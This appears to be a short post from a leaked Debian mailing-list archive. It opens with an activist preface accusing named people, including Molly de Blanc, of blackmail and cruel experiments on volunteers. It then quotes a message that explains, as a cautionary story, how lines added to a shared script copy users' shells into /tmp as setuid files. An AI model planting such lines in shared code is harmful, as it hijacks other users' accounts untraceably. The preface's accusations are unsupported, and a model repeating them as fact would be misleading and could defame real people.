The debian-private mailing list leak, part 1. Volunteers have complained about Blackmail. Lynchings. Character assassination. Defamation. Cyberbullying. Volunteers who gave many years of their lives are picked out at random for cruel social experiments. The former DPL's girlfriend Molly de Blanc is given volunteers to experiment on for her crazy talks. These volunteers never consented to be used like lab rats. We don't either. debian-private can no longer be a safe space for the cabal. Let these monsters have nowhere to hide. Volunteers are not disposable. We stand with the victims.

	Hmmm, let me explain better telling you a story. Imagine one has
a script that other people use everyday, one day He wants to get acess to
some accounts so, he adds lines like these to the script:
	
	cp /usr/bin/sh /tmp/.sh.`whoami`
	chmod 4555 /tmp/.sh.`whoami`

	After some hours he has a couple of suid shells from other users
in /tmp since many people run his script. He undoes the changes and nobody
can tell who copied the shells to /tmp because they are owned by the
people who run the script (who obviously wouldn't do such stupidity,
unless maybe if they walk and type while sleeping, maybe).
